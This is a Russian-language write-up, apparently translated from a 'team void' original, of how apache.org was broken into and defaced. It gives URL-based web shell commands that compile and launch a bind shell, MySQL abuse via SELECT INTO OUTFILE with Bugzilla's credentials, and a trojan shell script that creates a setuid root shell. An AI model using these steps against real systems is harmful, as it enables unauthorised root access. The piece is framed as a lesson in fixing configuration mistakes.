Подробности взлома APACHE.ORG

ПЕРЕД НАЧАЛОМ ЧТЕНИЯ Данный документ не содержит в себе сведения о каких-либо новых уязвимостях, атака опиралась на обычные (и не очень) ошибки в конфигурации системы, которые совершает даже команда apache. Это - важно. Учитесь на чужих ошибках, исправляйте их у себя, так что бы это не пришлось делать другим 8) ВВЕДЕНИЕ Данный документ описывает как, в течении приблизительно одной недели, был успешно захвачен рутовый доступ к серверу www.apache.org, и была произведена замена логотипа "Powered by Apache" на "Powered by Microsoft BackOffice". Никаких других изменений в системе не производилось, за исключением тех, что были сделаны для предотвращения повторного проникновения в систему посторониих лиц. Мы хотим заметить, что проблемы, описанные в данной бумаге, не относятся к проблемам Apache, это лишь ошибки конфигурации (некоторые из них прямо из BugZilla's README, правда в нe:м содержалось достаточно предупреждений, так что разработчики BugZilla тут не причe:м). Люди, использующие в качестве httpd Apache, не дожны ощущать беспокойства, поскольку атака не была основана на его уязвимостях. Поскольку достаточно много серверов используют программное обеспечение Apache, в случае установки бэкдоров на его сервере, они могли бы быть использованы для получения доступа ко многим системам. Этого не должно было случиться, и поэтому нужно было исправлять ошибки как можно скорее. Естественно, обладая правами рута, атакующие не смогли удержаться от заманчивой идеи замены логотипа. FTPROOT=WWWROOT, ОТКРЫТЫЕ НА ЗАПИСЬ ПАПКИ В поисках последней версии веб-сервера apache, для сравнения его с предыдущими и выявлениями новых возможностей переполнения буфера, хакер попал на ftp://ftp.apache.org. Там он обнаружил директории веб-сервера http://www.apache.org, доступные на запись. Таким образом в них был занесe:н файл wuh.php3, включающий Команды были исполнены. Что и неудивительно - при наборе из окна браузера http://www.apache.org/thatdir/wuh.php3?cmd=id команда id была выполнена. Следующим шагом была подгрузка и компиляция биндшелла, выполненная с помощью http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c, запуск которого можно было осуществить потом командой http://www.apache.org/thatdir/wuh.php3?cmd=./httpd. ШЕЛЛ Естественно, в качестве шелла использовался биндшелл, который требовал идентификации пользователя с весьма сложным паролем. Далее было произведено соединение на 65533 порт, на который был установлен данный шелл, и хакер получил локальный доступ с правами nobody, так как CGI имеет именно такие права. ВНУТРИ APACHE.ORG BOX Внутри были обнаружены доступные на запись и исполнение директории /root homedirs apache.org стоит на FreeBSD 3.4. Хакер не хотел использовать какое-либо переполнение буфера или эксплоит, целью было достичь права рута с помощью ошибок конфигурации. MYSQL В результате старательного поиска было обнаружено, что mysql работает с правами рута и достигаем локально. Поскольку apache.org работает с bugzilla, которому необходим аккаунт mysql, который содержит в своих исходниках имя пользователя и пароль открытым текстом, было достаточно легко получить пару имя пользователя/пароль для базы данных mysql. Хакер подгрузил nportredird и поставил его на приe:м соединений на порт 23306 со своего IP и передачи их на порт 3306 локального хоста, таким образом предоставив себе возможность пользования собственным клиентом mysql. ИСПОЛЬЗОВАНИЕ MYSQL ДЛЯ ПОЛУЧЕНИЯ РУТОВСКИХ ПРАВ Получив доступ к порту 3306 из локального хоста, и используя логин 'bugs' (который по умолчанию имеет полный доступ), возможности хакера мгновенно повысились. Причина сего - невнимательное чтение README-файла Bugzilla, который действительно показывает быстрый способ установки (со всеми Y), но тем не менее содержит множество предупреждений, одно из которых - "не запускайте mysqld под рутом". Таким образом, используя 'SELECT ... INTO OUTFILE;', хакеру предоставилась возможность создания файлов в любом месте с правами рута. Эти файлы имели доступ 0666, таким образом ничего нельзя было перезаписать, тем не менее, это было явно полезной возможностью. Какая же польза от этого? Бесполезно создавать доступный для записи .rhosts файл, никакой, даже самый сумасшедший демон rshd не подпустит к себе доступный для записи файл .rhosts. К тому же в данном случае rshd просто не было. СВОЙ /ROOT/.TSHRC Тут хакер решил применить трояноподобный трюк. Он создал базу данных с одним полем в 80 символов, и после пары insert'ов и одного select'a он получил файл /root/.rhosts приблизительно следующего содержания: #!/bin/sh cp /bin/sh /tmp/.rootsh chmod 4755 /tmp/.rootsh rm -f /root/.tcshrc *** ROOT!!! *** Достаточно просто. Осталось только подождать, пока кто-нибудь не выполнит su -. Правда, благодаря тому, что 9 человек легально имеют права рута, это заняло весьма малый промежуток времени. Оставшееся тоже было довольно просто - под правами рута был сделан быстрый дефэйс, но только после того, как был команде apache был предоставлен краткий отчe:т с перечисленными уязвимостями и быстрыми способами их устранения. Через небольшой промежуток времени после дефэйса, этот отчe:т был послан одному из администраторов. КОРРЕКЦИЯ FTPROOT=WWWROOT Так же перед дефейсом была создана папка ftproot в корневой директории веб-сервера (которая была и корневой ftp-директорией), и 'dist' была скопирована в 'ftproot/dist', корень ftp-директории сменили на этот новый ftproot, оставив открытые на запись каталоги защищe:нными, но не нарушив нормальной работы ссылок. КРАТКО ОБ ОШИБКАХ ftproot=wwwroot, директории с доступом на запись, позволившие подгрузить и выполнить php3 - скрипты, mysqld, работающий под рутом, с полноправным логином без пароля. ПОСЛЕДСТВИЯ Возможно внесение бэкдоров в файлы посредством редактирования исходных текстов, что позволило бы нанести ущерб всем пользователям, их скачавшим.
rchik.
Оригинал этого документа лежит на сервере "team void".

 Main  Books  Ukraine  Immigration  Search  Разное  SYSTEM


Украинская баннерная сеть

Hosted by   elektrod.com.ua